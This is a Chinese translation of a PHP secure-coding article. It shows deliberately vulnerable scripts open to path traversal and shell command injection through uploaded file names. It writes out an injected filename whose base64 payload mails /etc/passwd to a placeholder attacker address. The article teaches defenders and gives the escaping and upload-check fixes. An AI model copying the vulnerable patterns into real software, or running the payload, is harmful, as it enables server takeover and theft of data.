PHP 安全及相關(guān)
發(fā)表時間:2024-06-18 來源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]關(guān)注安全問題的重要性 看到的遠(yuǎn)非全部 阻止用戶惡意破壞你的程式最有效卻經(jīng)常被忽略的方法是在寫代碼時就考慮它的可能性。留意代碼中可能的安全問題是很重要的。考慮下邊的旨在簡化用PHP中寫入大量文本文件的過程的實(shí)例函數(shù): <?php function write_text(filename, te...
關(guān)注安全問題的重要性
看到的遠(yuǎn)非全部
阻止用戶惡意破壞你的程式最有效卻經(jīng)常被忽略的方法是在寫代碼時就考慮它的可能性。留意代碼中可能的安全問題是很重要的?紤]下邊的旨在簡化用PHP中寫入大量文本文件的過程的實(shí)例函數(shù):
<?php
function write_text($filename, $text="") {
static $open_files = array();
// 如果文件名空,關(guān)閉全部文件
if ($filename == NULL) {
foreach($open_files as $fr) {
fclose($fr);
}
return true;
}
$index = md5($filename);
if(!isset($open_files[$index])) {
$open_files[$index] = fopen($filename, "a+");
if(!$open_files[$index]) return false;
}
fputs($open_files[$index], $text);
return true;
}
?>
這個函數(shù)帶有兩個缺省參數(shù),文件名和要寫入文件的文本。
函數(shù)將先檢查文件是否已被打開;如果是,將使用原來的文件句柄。否則,將自行創(chuàng)建。在這兩種情況中,文本都會被寫入文件。
如果傳遞給函數(shù)的文件名是NULL,那么所有打開的文件將被關(guān)閉。下邊提供了一個使用上的實(shí)例。
如果開發(fā)者以下邊的格式來寫入多個文本文件,那么這個函數(shù)將清楚和易讀的多。
讓我們假定這個函數(shù)存在于一個單獨(dú)的文件中,這個文件包含了調(diào)用這個函數(shù)的代碼。
下邊是一個這樣的程式,我們叫它quotes.php:
<html><body>
<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
Choose the nature of the quote:
<select name="quote" size="3">
<option value="funny">Humorous quotes</option>
<option value="political">Political quotes</option>
<option value="love">Romantic Quotes</option>
</select><br />
The quote: <input type="text" name="quote_text" size="30" />
<input type="submit" value="Save Quote" />
</form>
</body></html>
<?php
include_once('write_text.php');
$filename = "/home/web/quotes/{$_GET['quote']}";
$quote_msg = $_GET['quote_text'];
if (write_text($filename, $quote_msg)) {
echo "<center><hr><h2>Quote saved!</h2></center>";
} else {
echo "<center><hr><h2>Error writing quote</h2></center>";
}
write_text(NULL);
?>
如同你看到的,這位開發(fā)者使用了write_text()函數(shù)來創(chuàng)建一個體系使得用戶可以提交他們喜歡的格言,這些格言將被存放在一個文本文件中。
不幸的是,開發(fā)者可能沒有想到,這個程式也允許了惡意用戶危害web server的安全。
也許現(xiàn)在你正撓著頭想著究竟這個看起來很無辜的程式怎樣引入了安全風(fēng)險。
如果你看不出來,考慮下邊這個URL,記住這個程式叫做quotes.php:
http://www.somewhere.com/fun/quotes.php?quote=different_file.dat"e_text=garbage+data
當(dāng)這個URL傳遞給web server 時將會發(fā)生什么?
顯然,quotes.php將被執(zhí)行,但是,不是將一句格言寫入到我們希望的三個文件中之一,相反的,一個叫做different_file.dat的新文件將被建立,其中包含一個字符串garbage data。
顯然,這不是我們希望的行為,惡意用戶可能通過把quote指定為../../../etc/passwd來訪問UNIX密碼文件從而創(chuàng)建一個帳號(盡管這需要web server以superuser運(yùn)行程式,如果是這樣的,你應(yīng)該停止閱讀,馬上去修復(fù)它)。
如果/home/web/quotes/可以通過瀏覽器訪問,可能這個程式最嚴(yán)重的安全問題是它允許任何用戶寫入和運(yùn)行任意PHP程式。這將帶來無窮的麻煩。
這里有一些解決方案。如果你只需要寫入目錄下的一些文件,可以考慮使用一個相關(guān)的數(shù)組來存放文件名。如果用戶輸入的文件存在于這個數(shù)組中,就可以安全的寫入。另一個想法是去掉所有的不是數(shù)字和字母的字符來確保沒有目錄分割符號。還有一個辦法是檢查文件的擴(kuò)展名來保證文件不會被web server執(zhí)行。
原則很簡單,作為一個開發(fā)者你必須比程式在你希望的情況下運(yùn)行時考慮更多。
如果非法數(shù)據(jù)進(jìn)入到一個form元素中會發(fā)生什么?惡意用戶是否能使你的程式以不希望的方式運(yùn)行?什么方法能阻止這些攻擊?你的web server和PHP程式只有在最弱的安全鏈接下才安全,所以確認(rèn)這些可能不安全的鏈接是否安全很重要。
常見的涉及安全的錯誤
這里給出一些要點(diǎn),一個可能危及安全的編碼上的和管理上的失誤的簡要不完整列表
錯誤1。信賴數(shù)據(jù)
這是貫穿于我關(guān)于PHP程式安全的討論的主題,你決不能相信一個來自外部的數(shù)據(jù)。不管它來自用戶提交表單,文件系統(tǒng)的文件或者環(huán)境變量,任何數(shù)據(jù)都不能簡單的想當(dāng)然的采用。所以用戶輸入必須進(jìn)行驗證并將之格式化以保證安全。
錯誤2。在web目錄中存儲敏感數(shù)據(jù)
任何和所有的敏感數(shù)據(jù)都應(yīng)該存放在獨(dú)立于需要使用數(shù)據(jù)的程式的文件中,并保存在一個不能通過瀏覽器訪問的目錄下。當(dāng)需要使用敏感數(shù)據(jù)時,再通過include 或 require語句來包含到適當(dāng)?shù)腜HP程式中。
錯誤3。不使用推薦的安全防范措施
PHP手冊包含了在使用和編寫PHP程式時關(guān)于安全防范的完整章節(jié)。手冊也(幾乎)基于案例清楚的說明了什么時候存在潛在安全風(fēng)險和怎么將風(fēng)險降低到最低。又如,惡意用戶依靠開發(fā)者和管理員的失誤得到關(guān)心的安全信息以獲取系統(tǒng)的權(quán)限。留意這些警告并適當(dāng)?shù)牟扇〈胧﹣頊p小惡意用戶給你的系統(tǒng)帶來真正的破壞的可能性。
在PHP中執(zhí)行系統(tǒng)調(diào)用
在PHP中有很多方法可以執(zhí)行系統(tǒng)調(diào)用。
比如,system(), exec(), passthru(), popen()和 反單引號(`)操作符都允許你在程式中執(zhí)行系統(tǒng)調(diào)用。如果不適當(dāng)?shù)氖褂蒙线呥@些函數(shù)將會為惡意用戶在你的服務(wù)器上執(zhí)行系統(tǒng)命令打開大門。像在訪問文件時,絕大多數(shù)情況下,安全漏洞發(fā)生在由于不可靠的外部輸入導(dǎo)致的系統(tǒng)命令執(zhí)行。
使用系統(tǒng)調(diào)用的一個例子程式
考慮一個處理http文件上傳的程式,它使用zip程序來壓縮文件,然后把它移動到指定的目錄(默認(rèn)為/usr/local/archives/)。代碼如下:
<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
if (file_exists($cmp_name)) {
$savepath = $store_path.$filename;
rename($cmp_name, $savepath);
}
}
}
?>
<form enctype="multipart/form-data" action="<?
php echo $_SERVER['PHP_SELF'];
?>" method="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
File to compress: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>
雖然這段程式看起來相當(dāng)簡單易懂,但是惡意用戶卻可以通過一些方法來利用它。最嚴(yán)重的安全問題存在于我們執(zhí)行了壓縮命令(通過`操作符),在下邊的行中可以清楚的看到這點(diǎn):
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
...
欺騙程式執(zhí)行任意shell命令
雖然這段代碼看起來相當(dāng)安全,它卻有使任何有文件上傳權(quán)限的用戶執(zhí)行任意shell命令的潛在危險!
準(zhǔn)確的說,這個安全漏洞來自對$cmp_name變量的賦值。在這里,我們希望壓縮后的文件使用從客戶機(jī)上傳時的文件名(帶有 .zip擴(kuò)展名)。我們用到了$_FILES['file']['name'](它包含了上傳文件在客戶機(jī)時的文件名)。
在這樣的情況下,惡意用戶完全可以通過上傳一個含對底層操作系統(tǒng)有特殊意義字符的文件來達(dá)到自己的目的。舉個例子,如果用戶按照下邊的形式創(chuàng)建一個空文件會怎么樣?(UNIX shell提示符下)
[user@localhost]# touch ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';"
這個命令將創(chuàng)建一個名字如下的文件:
;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';
看起來很奇怪?讓我們來看看這個“文件名”,我們發(fā)現(xiàn)它很像使CLI版本的PHP執(zhí)行如下代碼的命令:
<?php
$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);
?>
如果你出于好奇而顯示$code變量的內(nèi)容,就會發(fā)現(xiàn)它包含了mail baduser@somewhere.com < /etc/passwd。如果用戶把這個文件傳給程式,接著PHP執(zhí)行系統(tǒng)調(diào)用來壓縮文件,PHP實(shí)際上將執(zhí)行如下語句:
/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';.zip /tmp/phpY4iatI
讓人吃驚的,上邊的命令不是一個語句而是3個!由于UNIX shell 把分號(;)解釋為一個shell命令的結(jié)束和另一命令的開始,除了分號在在引號中時,PHP的system()實(shí)際上將如下執(zhí)行:
[user@localhost]# /usr/bin/zip /tmp/
[user@localhost]# php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);'
[user@localhost]# .zip /tmp/phpY4iatI
如你所見,這個看起來無害的PHP程式突然變成執(zhí)行任意shell命令和其他PHP程式的后門。雖然這個例子只會在路徑下有CLI版本的PHP的系統(tǒng)上有效,但是用這種技術(shù)可以通過其他的方法來達(dá)到同樣的效果。
對抗系統(tǒng)調(diào)用攻擊
這里的關(guān)鍵仍然是,來自用戶的輸入,不管內(nèi)容如何,都不應(yīng)該相信!問題仍然是如何在使用系統(tǒng)調(diào)用時(除了根本不使用它們)避免類似的情況出現(xiàn)。為了對抗這種類型的攻擊,PHP提供了兩個函數(shù),escapeshellarg() 和 escapeshellcmd()。
escapeshellarg()函數(shù)是為了從用作系統(tǒng)命令的參數(shù)的用戶輸入(在我們的例子中,是zip命令)中移出含有潛在危險的字符而設(shè)計的。這個函數(shù)的語法如下:
escapeshellarg($string)
$string所在處是用于過濾的輸入,返回值是過濾后的字符。執(zhí)行時,這個函數(shù)將在字符兩邊添加單引號,并轉(zhuǎn)義原來字符串中的單引號(在其前邊加上)。在我們的例程中,如果我們在執(zhí)行系統(tǒng)命令之前加上這些行:
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
我們就能通過確保傳遞給系統(tǒng)調(diào)用的參數(shù)已經(jīng)處理,是一個沒有其他意圖的用戶輸入,以規(guī)避這樣的安全風(fēng)險。
escapeshellcmd()和escapeshellarg()類似,只是它只轉(zhuǎn)義對底層操作系統(tǒng)有特殊意義的字符。和escapeshellarg()不同,escapeshellcmd()不會處理內(nèi)容中的空白格。舉個實(shí)例,當(dāng)使用escapeshellcmd()轉(zhuǎn)義時,字符
$string = "'hello, world!';evilcommand"
將變?yōu)椋?
'hello, world';evilcommand
如果這個字符串用作系統(tǒng)調(diào)用的參數(shù)它將仍然不能得到正確的結(jié)果,因為shell將會把它分別解釋為兩個分離的參數(shù): 'hello 和 world';evilcommand。如果用戶輸入用于系統(tǒng)調(diào)用的參數(shù)列表部分,escapeshellarg()是一個更好的選擇。
保護(hù)上傳的文件
在整篇文章中,我一直只著重講系統(tǒng)調(diào)用如何被惡意用戶劫持以產(chǎn)生我們不希望結(jié)果。
但是,這里還有另外一個潛在的安全風(fēng)險值得提到。再看到我們的例程,把你的注意力集中在下邊的行上:
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
上邊片斷中的代碼行導(dǎo)致的一個潛在安全風(fēng)險是,最后一行我們判斷上傳的文件是否實(shí)際存在(以臨時文件名$tmp_name存在)。
這個安全風(fēng)險并不來自于PHP自身,而在于保存在$tmp_name中的文件名實(shí)際上根本不是一個文件,而是指向惡意用戶希望訪問的文件,比如,/etc/passwd。
為了防止這樣的情況發(fā)生,PHP提供了is_uploaded_file()函數(shù),它和file_exists()一樣,但是它還提供文件是否真的從客戶機(jī)上上傳的檢查。
在絕大多數(shù)情況下,你將需要移動上傳的文件,PHP提供了move_uploaded_file()函數(shù),來配合is_uploaded_file()。這個函數(shù)和rename()一樣用于移動文件,只是它會在執(zhí)行前自動檢查以確保被移動的文件是上傳的文件。move_uploaded_file()的語法如下:
move_uploaded_file($filename, $destination);
在執(zhí)行時,函數(shù)將移動上傳文件$filename到目的地$destination并返回一個布爾值來標(biāo)志操作是否成功。
注: John Coggeshall 是一位PHP顧問和作者。從他開始為PHP不眠已經(jīng)5年左右了。
英文原文:http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html